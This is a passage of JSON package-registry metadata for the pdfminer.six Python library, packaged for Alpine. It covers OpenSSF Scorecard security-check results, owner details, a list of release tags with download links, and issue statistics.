fuzzed","details":["Info: OSSFuzz integration found","Info: PythonAtherisFuzzer integration found: fuzzing/extract_text_fuzzer.py:3","Info: PythonAtherisFuzzer integration found: fuzzing/extract_text_to_fp_fuzzer.py:4","Info: PythonAtherisFuzzer integration found: fuzzing/page_extraction_fuzzer.py:4","Info: PythonAtherisFuzzer integration found: fuzzing/utils.py:6"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#fuzzing"}},{"name":"Vulnerabilities","score":10,"reason":"0 existing vulnerabilities detected","details":null,"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#vulnerabilities"}},{"name":"Signed-Releases","score":0,"reason":"Project has not signed or included provenance with any releases.","details":["Warn: release artifact 20250506 not signed: https://api.github.com/repos/pdfminer/pdfminer.six/releases/216808673","Warn: release artifact 20250416 not signed: https://api.github.com/repos/pdfminer/pdfminer.six/releases/212749590","Warn: release artifact 20250327 not signed: https://api.github.com/repos/pdfminer/pdfminer.six/releases/208596512","Warn: release artifact 20250324 not signed: https://api.github.com/repos/pdfminer/pdfminer.six/releases/207771779","Warn: release artifact 20240706 not signed: https://api.github.com/repos/pdfminer/pdfminer.six/releases/164257153","Warn: release artifact 20250506 does not have provenance: https://api.github.com/repos/pdfminer/pdfminer.six/releases/216808673","Warn: release artifact 20250416 does not have provenance: https://api.github.com/repos/pdfminer/pdfminer.six/releases/212749590","Warn: release artifact 20250327 does not have provenance: https://api.github.com/repos/pdfminer/pdfminer.six/releases/208596512","Warn: release artifact 20250324 does not have provenance: https://api.github.com/repos/pdfminer/pdfminer.six/releases/207771779","Warn: release artifact 20240706 does not have provenance: https://api.github.com/repos/pdfminer/pdfminer.six/releases/164257153"],"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#signed-releases"}},{"name":"Pinned-Dependencies","score":0,"reason":"dependency not pinned by hash detected -- score normalized to 0","details":["Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:25: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:27: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:43: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:45: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:65: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:67: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:75: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:92: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:94: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:115: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:117: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/actions.yml:129: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/actions.yml:135: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/cifuzz.yml:16: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/cifuzz.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/cifuzz.yml:21: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/cifuzz.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/cifuzz.yml:28: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/cifuzz.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/cifuzz.yml:35: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/cifuzz.yml/master?enable=pin","Warn: pipCommand not pinned by hash: fuzzing/build.sh:2","Warn: pipCommand not pinned by hash: .github/workflows/actions.yml:50","Warn: pipCommand not pinned by hash: .github/workflows/actions.yml:51","Warn: pipCommand not pinned by hash: .github/workflows/actions.yml:81","Warn: pipCommand not pinned by hash: .github/workflows/actions.yml:82","Warn: pipCommand not pinned by hash: .github/workflows/actions.yml:99","Warn: pipCommand not pinned by hash: .github/workflows/actions.yml:100","Warn: pipCommand not pinned by hash: .github/workflows/actions.yml:122","Warn: pipCommand not pinned by hash: .github/workflows/actions.yml:32","Warn: pipCommand not pinned by hash: .github/workflows/actions.yml:33","Info:   0 out of  13 GitHub-owned GitHubAction dependencies pinned","Info:   0 out of   4 third-party GitHubAction dependencies pinned","Info:   0 out of  10 pipCommand dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"Branch-Protection","score":3,"reason":"branch protection is not maximal on development and all release branches","details":["Info: 'allow deletion' disabled on branch 'master'","Info: 'force pushes' disabled on branch 'master'","Warn: branch 'master' does not require approvers","Warn: codeowners review is not required on branch 'master'","Info: status check found to merge onto on branch 'master'"],"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#branch-protection"}},{"name":"Packaging","score":10,"reason":"packaging workflow detected","details":["Info: Project packages its releases by way of GitHub Actions.: .github/workflows/actions.yml:105"],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#packaging"}},{"name":"SAST","score":9,"reason":"SAST tool is not run on all commits -- score normalized to 9","details":["Warn: 27 commits out of 30 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#sast"}}]},"last_synced_at":"2025-08-22T12:40:44.127Z","repository_id":20194704,"created_at":"2025-08-22T12:40:44.127Z","updated_at":"2025-08-22T12:40:44.127Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":274693397,"owners_count":25332518,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","status":"online","status_checked_at":"2025-09-11T02:00:13.660Z","response_time":74,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"owner_record":{"login":"pdfminer","name":"pdfminer","uuid":"22586632","kind":"organization","description":"we maintain pdfminer.six","email":null,"website":"https://github.com/pdfminer/","location":null,"twitter":null,"company":null,"icon_url":"https://avatars.githubusercontent.com/u/22586632?v=4","repositories_count":1,"last_synced_at":"2024-03-25T18:42:54.428Z","metadata":{"has_sponsors_listing":false},"html_url":"https://github.com/pdfminer","funding_links":[],"total_stars":5318,"followers":34,"following":0,"created_at":"2022-11-02T16:26:19.316Z","updated_at":"2024-03-25T18:42:54.837Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/pdfminer","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/pdfminer/repositories"},"tags":[{"name":"20250506","sha":"51683b2528e2aa685dd8b9e61f6ccf9f76a59a62","kind":"tag","published_at":"2025-05-06T16:15:36.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20250506","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20250506","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20250506","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20250506","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20250506/manifests"},{"name":"20250416","sha":"d12382b277e7efadf61e387170e2e9f13e909cb0","kind":"tag","published_at":"2025-04-16T09:42:14.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20250416","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20250416","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20250416","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20250416","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20250416/manifests"},{"name":"20250327","sha":"cf7442f2c075374634624d50407c291e455dca2a","kind":"tag","published_at":"2025-03-27T07:50:45.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20250327","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20250327","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20250327","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20250327","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20250327/manifests"},{"name":"20250324","sha":"84f24933924b048afdab8bc07431244bf861c15f","kind":"tag","published_at":"2025-03-24T07:29:56.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20250324","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20250324","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20250324","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20250324","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20250324/manifests"},{"name":"20240706","sha":"fcfbcd3bfd61a429ac5ea92dd20f83a14d50e2f2","kind":"commit","published_at":"2024-07-06T13:47:18.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20240706","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20240706","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20240706","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20240706","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20240706/manifests"},{"name":"20231228","sha":"bd252ef5a578694efffdb1e42b24deea22f78d17","kind":"tag","published_at":"2023-12-28T21:24:07.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20231228","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20231228","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20231228","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20231228","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20231228/manifests"},{"name":"20221105","sha":"ebf7bcdb983f36d0ff5b40e4f23b52525cb28f18","kind":"tag","published_at":"2022-11-05T16:31:59.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20221105","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20221105","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20221105","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20221105","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20221105/manifests"},{"name":"20220524","sha":"0b09d5f8db1551d839d748f808eb246b95736b77","kind":"commit","published_at":"2022-05-24T17:41:54.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20220524","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20220524","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20220524","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20220524","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20220524/manifests"},{"name":"20220506","sha":"e19aea932d10938a995e89aea79fb304da5a82ff","kind":"commit","published_at":"2022-05-06T20:02:32.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20220506","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20220506","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20220506","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20220506","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20220506/manifests"},{"name":"20220319","sha":"ae7f31574642758a267a118c964ac874c1768ed5","kind":"commit","published_at":"2022-03-19T20:10:02.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20220319","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20220319","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20220319","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20220319","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20220319/manifests"},{"name":"20211012","sha":"da5b96828efdb184f6410c43fea30f7b7c893dfb","kind":"commit","published_at":"2021-10-12T18:45:24.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20211012","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20211012","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20211012","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20211012","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20211012/manifests"},{"name":"20201018","sha":"c8cceb7c58deec9e647be6d3957e03442770bdd0","kind":"commit","published_at":"2020-10-18T10:57:26.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20201018","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20201018","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20201018","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20201018","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20201018/manifests"},{"name":"20200726","sha":"0b44f7771462363528c109f263276eb254c4fcd0","kind":"tag","published_at":"2020-08-02T14:27:47.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20200726","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20200726","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20200726","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200726","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200726/manifests"},{"name":"20200720","sha":"3cebf5ef6652c579c432cc734a4aadae1460ea54","kind":"commit","published_at":"2020-07-20T20:05:19.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20200720","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20200720","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20200720","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200720","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200720/manifests"},{"name":"20200517","sha":"33b60dfd5414bf91fa232550528973b07028ff64","kind":"commit","published_at":"2020-05-17T15:50:01.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20200517","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20200517","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20200517","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200517","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200517/manifests"},{"name":"20200402","sha":"d79bcb75ea08442df0c69af050c0070d0ae036b4","kind":"tag","published_at":"2020-04-01T19:42:17.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20200402","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20200402","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20200402","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200402","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200402/manifests"},{"name":"20200124","sha":"bab6d154c2ab698bc79a8fa7638ec8e6b3ce809c","kind":"commit","published_at":"2020-01-24T11:38:11.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20200124","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20200124","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20200124","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200124","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200124/manifests"},{"name":"20200121","sha":"bc494ff03cc2d1139a7806a8ca74a477a67f14e9","kind":"commit","published_at":"2020-01-21T20:13:52.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20200121","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20200121","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20200121","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200121","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200121/manifests"},{"name":"20200104","sha":"b27d3d0aff5d0d87a80f340ba82d022c1f9d547f","kind":"commit","published_at":"2020-01-04T17:15:15.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20200104","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20200104","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20200104","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200104","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200104/manifests"},{"name":"20191110","sha":"452f0b4ad0fb4236076e69102cedc38730d53f8d","kind":"commit","published_at":"2019-11-10T11:59:55.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20191110","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20191110","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20191110","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20191110","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20191110/manifests"},{"name":"20191107","sha":"b63a636512eaaf18a9e30836431c5f80705be129","kind":"commit","published_at":"2019-11-07T20:52:58.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20191107","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20191107","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20191107","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20191107","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20191107/manifests"},{"name":"20191020","sha":"a5a34d53bdad87eee543a3b3cb1531e8604850b0","kind":"commit","published_at":"2019-10-20T12:27:19.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20191020","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20191020","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20191020","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20191020","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20191020/manifests"},{"name":"20181108","sha":"b6a58482089fa29d7ce80e89b5cf31b321e94c13","kind":"commit","published_at":"2018-11-08T17:07:11.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20181108","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20181108","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20181108","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20181108","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20181108/manifests"},{"name":"20170720","sha":"4c604828e82ebdbff6c6979c45f61fda11b1f427","kind":"tag","published_at":"2017-07-20T19:36:35.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20170720","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20170720","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20170720","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20170720","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20170720/manifests"},{"name":"20170419","sha":"baddb25df66c8830a4fce30f7cdf01d90c222a5d","kind":"tag","published_at":"2017-04-19T12:24:45.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20170419","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20170419","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20170419","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20170419","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20170419/manifests"},{"name":"20170418","sha":"11a4c8b6c1430d97352fc5587935bdd1480f4f75","kind":"tag","published_at":"2017-04-18T17:14:10.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20170418","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20170418","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20170418","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20170418","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20170418/manifests"},{"name":"20160614","sha":"881ea1755363900ebd480b11eb2bf92657ffc915","kind":"tag","published_at":"2016-06-14T17:03:44.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20160614","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20160614","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20160614","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20160614","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20160614/manifests"}]},"repo_metadata_updated_at":"2025-09-12T00:55:21.709Z","dependent_packages_count":0,"downloads":null,"downloads_period":null,"dependent_repos_count":0,"rankings":{"downloads":null,"dependent_repos_count":0.0,"dependent_packages_count":0.0,"stargazers_count":null,"forks_count":null,"docker_downloads_count":null,"average":100},"purl":"pkg:apk/alpine/py3-pdfminer-pyc?arch=x86_64\u0026repository_url=https://pkgs.alpinelinux.org/packages?branch=v3.19","advisories":[],"docker_usage_url":"https://docker.ecosyste.ms/usage/alpine/py3-pdfminer-pyc","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/alpine/py3-pdfminer-pyc","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/alpine/py3-pdfminer-pyc/dependencies","status":null,"funding_links":[],"critical":null,"issue_metadata":{"last_synced_at":"2025-09-10T16:45:28.100Z","issues_count":303,"pull_requests_count":171,"avg_time_to_close_issue":35471281.30578513,"avg_time_to_close_pull_request":7587995.797202798,"issues_closed_count":121,"pull_requests_closed_count":143,"pull_request_authors_count":48,"issue_authors_count":192,"avg_comments_per_issue":1.7425742574257426,"avg_comments_per_pull_request":1.304093567251462,"merged_pull_requests_count":113,"bot_issues_count":0,"bot_pull_requests_count":0,"past_year_issues_count":77,"past_year_pull_requests_count":73,"past_year_avg_time_to_close_issue":2039387.9615384615,"past_year_avg_time_to_close_pull_request":2690641.090909091,"past_year_issues_closed_count":26,"past_year_pull_requests_closed_count":55,"past_year_pull_request_authors_count":13,"past_year_issue_authors_count":36,"past_year_avg_comments_per_issue":0.8831168831168831,"past_year_avg_comments_per_pull_request":0.9726027397260274,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":0,"past_year_merged_pull_requests_count":45,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/issues","maintainers":[{"login":"pietermarsman","count":84,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/pietermarsman"},{"login":"jstockwin","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/jstockwin"},{"login":"tataganesh","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/tataganesh"}],"active_maintainers":[{"login":"pietermarsman","count":38,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/pietermarsman"}]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.19/packages/py3-pdfminer-pyc/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.19/packages/py3-pdfminer-pyc/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.19/packages/py3-pdfminer-pyc/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.19/packages/py3-pdfminer-pyc/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.19/packages/py3-pdfminer-pyc/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.19/packages/py3-pdfminer-pyc/codemeta","maintainers":[{"uuid":"clandmeter